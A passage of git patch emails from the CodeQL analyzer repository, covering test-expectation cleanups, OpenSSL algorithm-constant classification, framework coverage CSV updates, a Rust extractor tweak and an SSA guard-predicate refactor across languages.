b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js @@ -13,6 +13,6 @@ function f(){ let testScheduler = new TestScheduler(); testScheduler.run(({x, y, z}) => { const source = x('', {o: [a, b, c]}); - z(source.pipe(null)).toBe(expected,y,); // $SPURIOUS:Alert + z(source.pipe(null)).toBe(expected,y,); }); } diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/strapi.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/strapi.js index 2848b10132a6..e4fd4cd4e67f 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/strapi.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/strapi.js @@ -1,5 +1,5 @@ import { async } from '@strapi/utils'; const f = async () => { - const permissionsInDB = await async.pipe(strapi.db.query('x').findMany,map('y'))(); // $SPURIOUS:Alert + const permissionsInDB = await async.pipe(strapi.db.query('x').findMany,map('y'))(); } diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index 457e5e7244f0..dbbc751e7b41 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -1,5 +1,3 @@ -| rxjsStreams.js:16:7:16:23 | source.pipe(null) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| strapi.js:4:35:4:84 | async.p ... p('y')) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:4:5:4:28 | stream. ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:19:5:19:17 | s2.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:45:5:45:30 | stream2 ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | @@ -13,4 +11,3 @@ | test.js:143:5:143:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:175:17:175:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:185:5:185:32 | copyStr ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:216:5:216:38 | notStre ... ()=>{}) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index 37befaf59998..a0db4f6392e6 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -213,6 +213,6 @@ function test() { } { const notStream = getNotAStream(); - notStream.pipe(getStream(),()=>{}); // $SPURIOUS:Alert + notStream.pipe(getStream(),()=>{}); } } From ca1d4e270a5fb5eb37e381452c902c2c3357b952 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Thu, 22 May 2025 12:53:11 -0400 Subject: [PATCH 341/535] Crypto: Separating out an IntLiteral class so it is clearer that some constraints for generic input sources are heuristics to filter sources, and other constraints narrow the literals to a general type (ints). Also adding fixes in KnownAlgorithmConstants to classify some algorithms as key exchange and signature correctly, and added support for a signature constant wrapper. --- .../OpenSSL/GenericSourceCandidateLiteral.qll | 23 +++++++++++-------- 1 file changed, 14 insertions(+), 9 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/GenericSourceCandidateLiteral.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/GenericSourceCandidateLiteral.qll index 214093aae36d..8841adc17b6e 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/GenericSourceCandidateLiteral.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/GenericSourceCandidateLiteral.qll @@ -2,6 +2,15 @@ import cpp private import semmle.code.cpp.models.Models private import semmle.code.cpp.models.interfaces.FormattingFunction +private class IntLiteral extends Literal { + IntLiteral() { + //Heuristics for distinguishing int literals from other literals + exists(this.getValue().toInt()) and + not this instanceof CharLiteral and + not this instanceof StringLiteral + } +} + /** * Holds if a StringLiteral could conceivably be used in some way for cryptography. * Note: this predicate should only consider restrictions with respect to strings only. @@ -38,15 +47,11 @@ private predicate isOpenSSLStringLiteralGenericSourceCandidate(StringLiteral s) } /** - * Holds if an IntLiteral could be an algorithm literal. + * Holds if a StringLiteral could conceivably be used in some way for cryptography. * Note: this predicate should only consider restrictions with respect to integers only. * General restrictions are in the OpenSSLGenericSourceCandidateLiteral class. */ -private predicate isOpenSSLIntLiteralGenericSourceCandidate(Literal l) { - exists(l.getValue().toInt()) and - // Ignore char literals - not l instanceof CharLiteral and - not l instanceof StringLiteral and +private predicate isOpenSSLIntLiteralGenericSourceCandidate(IntLiteral l) { // Ignore integer values of 0, commonly referring to NULL only (no known algorithm 0) l.getValue().toInt() != 0 and // ASSUMPTION, no negative numbers are allowed @@ -86,10 +91,10 @@ private predicate isOpenSSLIntLiteralGenericSourceCandidate(Literal l) { } /** - * Any literal that may represent an algorithm for use in an operation, even if an invalid or unknown algorithm. + * Any literal that may be conceivably be used in some way for cryptography. * The set of all literals is restricted by this class to cases where there is higher - * plausibility that the literal is eventually used as an algorithm. - * Literals are filtered, for example if they are used in a way no indicative of an algorithm use + * plausibility that the literal could be used as a source of configuration. + * Literals are filtered, for example, if they are used in a way no indicative of an algorithm use * such as in an array index, bitwise operation, or logical operation. * Note a case like this: * if(algVal == "AES") From 28f48246fc87d42efb6e40039a0f33f3dc38e998 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Thu, 22 May 2025 13:13:35 -0400 Subject: [PATCH 342/535] Crypto: Adding signature constant support, and fixing key exchange and signature mapping for ED and X elliptic curve variants. --- .../KnownAlgorithmConstants.qll | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll index f7d186e4ea93..e56f70700b0c 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll @@ -76,6 +76,15 @@ class KnownOpenSSLEllipticCurveAlgorithmConstant extends KnownOpenSSLAlgorithmCo } } +class KnownOpenSSLSignatureAlgorithmConstant extends KnownOpenSSLAlgorithmConstant { + string algType; + + KnownOpenSSLSignatureAlgorithmConstant() { + resolveAlgorithmFromExpr(this, _, algType) and + algType.matches("SIGNATURE") + } +} + /** * Resolves a call to a 'direct algorithm getter', e.g., EVP_MD5() * This approach to fetching algorithms was used in OpenSSL 1.0.2. @@ -263,8 +272,12 @@ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, or name = "ed25519" and nid = 1087 and normalized = "ED25519" and algType = "ELLIPTIC_CURVE" or + name = "ed25519" and nid = 1087 and normalized = "ED25519" and algType = "SIGNATURE" + or name = "ed448" and nid = 1088 and normalized = "ED448" and algType = "ELLIPTIC_CURVE" or + name = "ed448" and nid = 1088 and normalized = "ED448" and algType = "SIGNATURE" + or name = "md2" and nid = 3 and normalized = "MD2" and algType = "HASH" or name = "sha" and nid = 41 and normalized = "SHA" and algType = "HASH" @@ -1684,8 +1697,12 @@ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, or name = "x448" and nid = 1035 and normalized = "X448" and algType = "ELLIPTIC_CURVE" or + name = "x448" and nid = 1035 and normalized = "X448" and algType = "KEY_EXCHANGE" + or name = "x25519" and nid = 1034 and normalized = "X25519" and algType = "ELLIPTIC_CURVE" or + name = "x25519" and nid = 1034 and normalized = "X25519" and algType = "KEY_EXCHANGE" + or name = "authecdsa" and nid = 1047 and normalized = "ECDSA" and algType = "SIGNATURE" or name = "authgost01" and nid = 1050 and normalized = "GOST" and algType = "SYMMETRIC_ENCRYPTION" From 007683f06ae0175eec7114d56f8b3eb6c09899ab Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Thu, 22 May 2025 14:06:13 -0400 Subject: [PATCH 343/535] Crypto: Simplifying constant comparisons. --- .../KnownAlgorithmConstants.qll | 34 +++++-------------- 1 file changed, 8 insertions(+), 26 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll index e56f70700b0c..402fbac02ecb 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll @@ -33,30 +33,20 @@ class KnownOpenSSLCipherAlgorithmConstant extends KnownOpenSSLAlgorithmConstant } class KnownOpenSSLPaddingAlgorithmConstant extends KnownOpenSSLAlgorithmConstant { - string algType; - KnownOpenSSLPaddingAlgorithmConstant() { - resolveAlgorithmFromExpr(this, _, algType) and - algType.matches("%PADDING") + exists(string algType | + resolveAlgorithmFromExpr(this, _, algType) and + algType.matches("%PADDING") + ) } } class KnownOpenSSLBlockModeAlgorithmConstant extends KnownOpenSSLAlgorithmConstant { - string algType; - - KnownOpenSSLBlockModeAlgorithmConstant() { - resolveAlgorithmFromExpr(this, _, algType) and - algType.matches("%BLOCK_MODE") - } + KnownOpenSSLBlockModeAlgorithmConstant() { resolveAlgorithmFromExpr(this, _, "BLOCK_MODE") } } class KnownOpenSSLHashAlgorithmConstant extends KnownOpenSSLAlgorithmConstant { - string algType; - - KnownOpenSSLHashAlgorithmConstant() { - resolveAlgorithmFromExpr(this, _, algType) and - algType.matches("%HASH") - } + KnownOpenSSLHashAlgorithmConstant() { resolveAlgorithmFromExpr(this, _, "HASH") } int getExplicitDigestLength() { exists(string name | @@ -69,20 +59,12 @@ class KnownOpenSSLHashAlgorithmConstant extends KnownOpenSSLAlgorithmConstant { class KnownOpenSSLEllipticCurveAlgorithmConstant extends KnownOpenSSLAlgorithmConstant { KnownOpenSSLEllipticCurveAlgorithmConstant() { - exists(string algType | - resolveAlgorithmFromExpr(this, _, algType) and - algType.matches("ELLIPTIC_CURVE") - ) + resolveAlgorithmFromExpr(this, _, "ELLIPTIC_CURVE") } } class KnownOpenSSLSignatureAlgorithmConstant extends KnownOpenSSLAlgorithmConstant { - string algType; - - KnownOpenSSLSignatureAlgorithmConstant() { - resolveAlgorithmFromExpr(this, _, algType) and - algType.matches("SIGNATURE") - } + KnownOpenSSLSignatureAlgorithmConstant() { resolveAlgorithmFromExpr(this, _, "SIGNATURE") } } /** From fb92999f8ac1d77f2371985a6b820ffac50bedf4 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 22 May 2025 22:02:20 +0100 Subject: [PATCH 344/535] Add bigquery to frameworks.csv Also fix up github.com/kanikanema/gorqlite --- go/documentation/library-coverage/frameworks.csv | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/go/documentation/library-coverage/frameworks.csv b/go/documentation/library-coverage/frameworks.csv index bd5a92490687..b5a4c6d65b8c 100644 --- a/go/documentation/library-coverage/frameworks.csv +++ b/go/documentation/library-coverage/frameworks.csv @@ -3,6 +3,7 @@ Standard library,https://pkg.go.dev/std, archive/* bufio bytes cmp compress/* co appleboy/gin-jwt,https://github.com/appleboy/gin-jwt,github.com/appleboy/gin-jwt* Afero,https://github.com/spf13/afero,github.com/spf13/afero* beego,https://beego.me/,github.com/astaxie/beego* github.com/beego/beego* +bigquery,https://pkg.go.dev/cloud.google.com/go/bigquery,cloud.google.com/go/bigquery* Bun,https://bun.uptrace.dev/,github.com/uptrace/bun* CleverGo,https://github.com/clevergo/clevergo,clevergo.tech/clevergo* github.com/clevergo/clevergo* Couchbase official client(gocb),https://github.com/couchbase/gocb,github.com/couchbase/gocb* gopkg.in/couchbase/gocb* @@ -35,7 +36,7 @@ golang.org/x/net,https://pkg.go.dev/golang.org/x/net,golang.org/x/net* goproxy,https://github.com/elazarl/goproxy,github.com/elazarl/goproxy* gorilla/mux,https://github.com/gorilla/mux,github.com/gorilla/mux* gorilla/websocket,https://github.com/gorilla/websocket,github.com/gorilla/websocket* -gorqlite,https://github.com/rqlite/gorqlite,github.com/raindog308/gorqlite* github.com/rqlite/gorqlite* +gorqlite,https://github.com/rqlite/gorqlite,github.com/raindog308/gorqlite* github.com/rqlite/gorqlite* github.com/kanikanema/gorqlite* goxpath,https://github.com/ChrisTrenkamp/goxpath/wiki,github.com/ChrisTrenkamp/goxpath* htmlquery,https://github.com/antchfx/htmlquery,github.com/antchfx/htmlquery* Iris,https://www.iris-go.com/,github.com/kataras/iris* From 372d1c68a4ce05e9a50cc37dafe2cd580d1e692d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <41898282+github-actions[bot]@users.noreply.github.com> Date: Fri, 23 May 2025 00:23:59 +0000 Subject: [PATCH 345/535] Add changed framework coverage reports --- csharp/documentation/library-coverage/coverage.csv | 10 +++++----- csharp/documentation/library-coverage/coverage.rst | 6 +++--- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/csharp/documentation/library-coverage/coverage.csv b/csharp/documentation/library-coverage/coverage.csv index 2d786f62d6ef..70a2dfec6cc0 100644 --- a/csharp/documentation/library-coverage/coverage.csv +++ b/csharp/documentation/library-coverage/coverage.csv @@ -4,11 +4,11 @@ Amazon.Lambda.Core,10,,,,,,,,,,,10,,,,,,,,,,, Dapper,55,42,1,,,,,,,,,,55,,42,,,,,,,,1 ILCompiler,,,121,,,,,,,,,,,,,,,,,,,77,44 ILLink.RoslynAnalyzer,,,107,,,,,,,,,,,,,,,,,,,31,76 -ILLink.Shared,,,37,,,,,,,,,,,,,,,,,,,11,26 +ILLink.Shared,,,37,,,,,,,,,,,,,,,,,,,9,28 ILLink.Tasks,,,5,,,,,,,,,,,,,,,,,,,4,1 Internal.IL,,,54,,,,,,,,,,,,,,,,,,,28,26 Internal.Pgo,,,9,,,,,,,,,,,,,,,,,,,2,7 -Internal.TypeSystem,,,342,,,,,,,,,,,,,,,,,,,205,137 +Internal.TypeSystem,,,343,,,,,,,,,,,,,,,,,,,197,146 Microsoft.ApplicationBlocks.Data,28,,,,,,,,,,,,28,,,,,,,,,, Microsoft.AspNetCore.Components,2,4,2,,,,,,,2,,,,,,,,,4,,,1,1 Microsoft.AspNetCore.Http,,,1,,,,,,,,,,,,,,,,,,,1, @@ -21,7 +21,7 @@ Microsoft.DotNet.PlatformAbstractions,,,1,,,,,,,,,,,,,,,,,,,1, Microsoft.EntityFrameworkCore,6,,12,,,,,,,,,,6,,,,,,,,,,12 Microsoft.Extensions.Caching.Distributed,,,3,,,,,,,,,,,,,,,,,,,,3 Microsoft.Extensions.Caching.Memory,,,37,,,,,,,,,,,,,,,,,,,5,32 -Microsoft.Extensions.Configuration,,3,118,,,,,,,,,,,,,3,,,,,,41,77 +Microsoft.Extensions.Configuration,,3,118,,,,,,,,,,,,,3,,,,,,39,79 Microsoft.Extensions.DependencyInjection,,,209,,,,,,,,,,,,,,,,,,,15,194 Microsoft.Extensions.DependencyModel,,1,57,,,,,,,,,,,,,1,,,,,,13,44 Microsoft.Extensions.Diagnostics.Metrics,,,14,,,,,,,,,,,,,,,,,,,1,13 @@ -37,10 +37,10 @@ Microsoft.JSInterop,2,,,,,,,,,,2,,,,,,,,,,,, Microsoft.NET.Build.Tasks,,,5,,,,,,,,,,,,,,,,,,,3,2 Microsoft.VisualBasic,,,6,,,,,,,,,,,,,,,,,,,1,5 Microsoft.Win32,,4,2,,,,,,,,,,,,,,,,,,4,,2 -Mono.Linker,,,278,,,,,,,,,,,,,,,,,,,130,148 +Mono.Linker,,,278,,,,,,,,,,,,,,,,,,,127,151 MySql.Data.MySqlClient,48,,,,,,,,,,,,48,,,,,,,,,, Newtonsoft.Json,,,91,,,,,,,,,,,,,,,,,,,73,18 ServiceStack,194,,7,27,,,,,75,,,,92,,,,,,,,,7, SourceGenerators,,,5,,,,,,,,,,,,,,,,,,,,5 -System,54,47,12111,,6,5,5,,,4,1,,33,2,,6,15,17,4,3,,5993,6118 +System,54,47,12139,,6,5,5,,,4,1,,33,2,,6,15,17,4,3,,5903,6236 Windows.Security.Cryptography.Core,1,,,,,,,1,,,,,,,,,,,,,,, diff --git a/csharp/documentation/library-coverage/coverage.rst b/csharp/documentation/library-coverage/coverage.rst index a7c9f8bc54cd..6762de6ed129 100644 --- a/csharp/documentation/library-coverage/coverage.rst +++ b/csharp/documentation/library-coverage/coverage.rst @@ -8,7 +8,7 @@ C# framework & library support Framework / library,Package,Flow sources,Taint & value steps,Sinks (total),`CWE-079` :sub:`Cross-site scripting` `ServiceStack `_,"``ServiceStack.*``, ``ServiceStack``",,7,194, - System,"``System.*``, ``System``",47,12111,54,5 - Others,"``Amazon.Lambda.APIGatewayEvents``, ``Amazon.Lambda.Core``, ``Dapper``, ``ILCompiler``, ``ILLink.RoslynAnalyzer``, ``ILLink.Shared``, ``ILLink.Tasks``, ``Internal.IL``, ``Internal.Pgo``, ``Internal.TypeSystem``, ``Microsoft.ApplicationBlocks.Data``, ``Microsoft.AspNetCore.Components``, ``Microsoft.AspNetCore.Http``, ``Microsoft.AspNetCore.Mvc``, ``Microsoft.AspNetCore.WebUtilities``, ``Microsoft.CSharp``, ``Microsoft.Diagnostics.Tools.Pgo``, ``Microsoft.DotNet.Build.Tasks``, ``Microsoft.DotNet.PlatformAbstractions``, ``Microsoft.EntityFrameworkCore``, ``Microsoft.Extensions.Caching.Distributed``, ``Microsoft.Extensions.Caching.Memory``, ``Microsoft.Extensions.Configuration``, ``Microsoft.Extensions.DependencyInjection``, ``Microsoft.Extensions.DependencyModel``, ``Microsoft.Extensions.Diagnostics.Metrics``, ``Microsoft.Extensions.FileProviders``, ``Microsoft.Extensions.FileSystemGlobbing``, ``Microsoft.Extensions.Hosting``, ``Microsoft.Extensions.Http``, ``Microsoft.Extensions.Logging``, ``Microsoft.Extensions.Options``, ``Microsoft.Extensions.Primitives``, ``Microsoft.Interop``, ``Microsoft.JSInterop``, ``Microsoft.NET.Build.Tasks``, ``Microsoft.VisualBasic``, ``Microsoft.Win32``, ``Mono.Linker``, ``MySql.Data.MySqlClient``, ``Newtonsoft.Json``, ``SourceGenerators``, ``Windows.Security.Cryptography.Core``",60,2252,152,4 - Totals,,107,14370,400,9 + System,"``System.*``, ``System``",47,12139,54,5 + Others,"``Amazon.Lambda.APIGatewayEvents``, ``Amazon.Lambda.Core``, ``Dapper``, ``ILCompiler``, ``ILLink.RoslynAnalyzer``, ``ILLink.Shared``, ``ILLink.Tasks``, ``Internal.IL``, ``Internal.Pgo``, ``Internal.TypeSystem``, ``Microsoft.ApplicationBlocks.Data``, ``Microsoft.AspNetCore.Components``, ``Microsoft.AspNetCore.Http``, ``Microsoft.AspNetCore.Mvc``, ``Microsoft.AspNetCore.WebUtilities``, ``Microsoft.CSharp``, ``Microsoft.Diagnostics.Tools.Pgo``, ``Microsoft.DotNet.Build.Tasks``, ``Microsoft.DotNet.PlatformAbstractions``, ``Microsoft.EntityFrameworkCore``, ``Microsoft.Extensions.Caching.Distributed``, ``Microsoft.Extensions.Caching.Memory``, ``Microsoft.Extensions.Configuration``, ``Microsoft.Extensions.DependencyInjection``, ``Microsoft.Extensions.DependencyModel``, ``Microsoft.Extensions.Diagnostics.Metrics``, ``Microsoft.Extensions.FileProviders``, ``Microsoft.Extensions.FileSystemGlobbing``, ``Microsoft.Extensions.Hosting``, ``Microsoft.Extensions.Http``, ``Microsoft.Extensions.Logging``, ``Microsoft.Extensions.Options``, ``Microsoft.Extensions.Primitives``, ``Microsoft.Interop``, ``Microsoft.JSInterop``, ``Microsoft.NET.Build.Tasks``, ``Microsoft.VisualBasic``, ``Microsoft.Win32``, ``Mono.Linker``, ``MySql.Data.MySqlClient``, ``Newtonsoft.Json``, ``SourceGenerators``, ``Windows.Security.Cryptography.Core``",60,2253,152,4 + Totals,,107,14399,400,9 From df99e06c816183b01c9cdb56521e20bdaf4cb7b6 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Fri, 23 May 2025 07:47:31 +0200 Subject: [PATCH 346/535] Rust: temporarily disable attribute macro expansion in library mode --- rust/extractor/src/translate/base.rs | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/rust/extractor/src/translate/base.rs b/rust/extractor/src/translate/base.rs index e440e00cb25e..ece10f2f0f29 100644 --- a/rust/extractor/src/translate/base.rs +++ b/rust/extractor/src/translate/base.rs @@ -709,6 +709,10 @@ impl<'a> Translator<'a> { } pub(crate) fn emit_item_expansion(&mut self, node: &ast::Item, label: Label) { + // TODO: remove this after fixing exponential expansion on libraries like funty-2.0.0 + if self.source_kind == SourceKind::Library { + return; + } (|| { let semantics = self.semantics?; let ExpandResult { From 1d301035592abcfa6b6d4a033e45920e7e942c91 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 23 May 2025 09:56:22 +0200 Subject: [PATCH 347/535] SSA: Distinguish between has and controls branch edge. --- .../ir/dataflow/internal/DataFlowPrivate.qll | 4 ++++ .../cpp/ir/dataflow/internal/SsaInternals.qll | 6 +++++- .../code/csharp/dataflow/internal/SsaImpl.qll | 16 ++++++++++---- .../semmle/code/java/controlflow/Guards.qll | 21 +++++++++++++++++++ .../code/java/dataflow/internal/SsaImpl.qll | 11 +--------- .../dataflow/internal/sharedlib/Ssa.qll | 16 ++++++++++---- .../codeql/ruby/dataflow/internal/SsaImpl.qll | 16 ++++++++++---- .../codeql/rust/dataflow/internal/SsaImpl.qll | 16 ++++++++++---- .../codeql/dataflow/VariableCapture.qll | 2 ++ shared/ssa/codeql/ssa/Ssa.qll | 14 +++++++++---- 10 files changed, 91 insertions(+), 31 deletions(-) diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll index 073d7a4bbc9b..39cc58d54b0e 100644 --- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll +++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll @@ -1903,6 +1903,10 @@ module IteratorFlow { predicate allowFlowIntoUncertainDef(IteratorSsa::UncertainWriteDefinition def) { any() } class Guard extends Void { + predicate hasBranchEdge(SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch) { + none() + } + predicate controlsBranchEdge( SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch ) { diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll index bea6b68d5119..7799081eae34 100644 --- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll +++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll @@ -991,13 +991,17 @@ private module DataFlowIntegrationInput implements SsaImpl::DataFlowIntegrationI class Guard instanceof IRGuards::IRGuardCondition { string toString() { result = super.toString() } - predicate controlsBranchEdge(SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch) { + predicate hasBranchEdge(SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch) { exists(EdgeKind kind | super.getBlock() = bb1 and kind = getConditionalEdge(branch) and bb1.getSuccessor(kind) = bb2 ) } + + predicate controlsBranchEdge(SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch) { + this.hasBranchEdge(bb1, bb2, branch) + } } predicate guardDirectlyControlsBlock(Guard guard, SsaInput::BasicBlock bb, boolean branch) { diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll index ad7a2aba911a..6d59c0579860 100644 --- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll +++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll @@ -1044,17 +1044,25 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu class Guard extends Guards::Guard { /** - * Holds if the control flow branching from `bb1` is dependent on this guard, - * and that the edge from `bb1` to `bb2` corresponds to the evaluation of this - * guard to `branch`. + * Holds if the evaluation of this guard to `branch` corresponds to the edge + * from `bb1` to `bb2`. */ - predicate controlsBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch) { + predicate hasBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch) { exists(ControlFlow::SuccessorTypes::ConditionalSuccessor s | this.getAControlFlowNode() = bb1.getLastNode() and bb2 = bb1.getASuccessorByType(s) and s.getValue() = branch ) } + + /** + * Holds if this guard evaluating to `branch` controls the control-flow + * branch edge from `bb1` to `bb2`. That is, following the edge from + * `bb1` to `bb2` implies that this guard evaluated to `branch`. + */ + predicate controlsBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch) { + this.hasBranchEdge(bb1, bb2, branch) + } } /** Holds if the guard `guard` controls block `bb` upon evaluating to `branch`. */ diff --git a/java/ql/lib/semmle/code/java/controlflow/Guards.qll b/java/ql/lib/semmle/code/java/controlflow/Guards.qll index 99a832c08a8f..5cedb97ec05e 100644 --- a/java/ql/lib/semmle/code/java/controlflow/Guards.qll +++ b/java/ql/lib/semmle/code/java/controlflow/Guards.qll @@ -272,6 +272,15 @@ class Guard extends ExprParent { preconditionControls(this, controlled, branch) } + /** + * Holds if this guard evaluating to `branch` controls the control-flow + * branch edge from `bb1` to `bb2`. That is, following the edge from + * `bb1` to `bb2` implies that this guard evaluated to `branch`. + */ + predicate controlsBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch) { + guardControlsBranchEdge_v3(this, bb1, bb2, branch) + } + /** * Holds if this guard evaluating to `branch` directly or indirectly controls * the block `controlled`. That is, the evaluation of `controlled` is @@ -351,6 +360,18 @@ private predicate guardControls_v3(Guard guard, BasicBlock controlled, boolean b ) } +pragma[nomagic] +private predicate guardControlsBranchEdge_v3( + Guard guard, BasicBlock bb1, BasicBlock bb2, boolean branch +) { + guard.hasBranchEdge(bb1, bb2, branch) + or + exists(Guard g, boolean b | + guardControlsBranchEdge_v3(g, bb1, bb2, b) and + implies_v3(g, b, guard, branch) + ) +} + private predicate equalityGuard(Guard g, Expr e1, Expr e2, boolean polarity) { exists(EqualityTest eqtest | eqtest = g and diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll b/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll index 6054db635bc7..2a1ea8b0e068 100644 --- a/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll +++ b/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll @@ -654,16 +654,7 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu def instanceof SsaUncertainImplicitUpdate } - class Guard extends Guards::Guard { - /** - * Holds if the control flow branching from `bb1` is dependent on this guard, - * and that the edge from `bb1` to `bb2` corresponds to the evaluation of this - * guard to `branch`. - */ - predicate controlsBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch) { - super.hasBranchEdge(bb1, bb2, branch) - } - } + class Guard = Guards::Guard; /** Holds if the guard `guard` directly controls block `bb` upon evaluating to `branch`. */ predicate guardDirectlyControlsBlock(Guard guard, BasicBlock bb, boolean branch) { diff --git a/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll b/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll index adc4a79dd046..bea32b384371 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll @@ -75,11 +75,10 @@ module SsaDataflowInput implements DataFlowIntegrationInputSig { Guard() { this = any(js::ConditionGuardNode g).getTest() } /** - * Holds if the control flow branching from `bb1` is dependent on this guard, - * and that the edge from `bb1` to `bb2` corresponds to the evaluation of this - * guard to `branch`. + * Holds if the evaluation of this guard to `branch` corresponds to the edge + * from `bb1` to `bb2`. */ - predicate controlsBranchEdge(js::BasicBlock bb1, js::BasicBlock bb2, boolean branch) { + predicate hasBranchEdge(js::BasicBlock bb1, js::BasicBlock bb2, boolean branch) { exists(js::ConditionGuardNode g | g.getTest() = this and bb1 = this.getBasicBlock() and @@ -87,6 +86,15 @@ module SsaDataflowInput implements DataFlowIntegrationInputSig { branch = g.getOutcome() ) } + + /** + * Holds if this guard evaluating to `branch` controls the control-flow + * branch edge from `bb1` to `bb2`. That is, following the edge from + * `bb1` to `bb2` implies that this guard evaluated to `branch`. + */ + predicate controlsBranchEdge(js::BasicBlock bb1, js::BasicBlock bb2, boolean branch) { + this.hasBranchEdge(bb1, bb2, branch) + } } pragma[inline] diff --git a/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll b/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll index b4ba8e3ffadd..adbec18be640 100644 --- a/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll +++ b/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll @@ -484,17 +484,25 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu class Guard extends 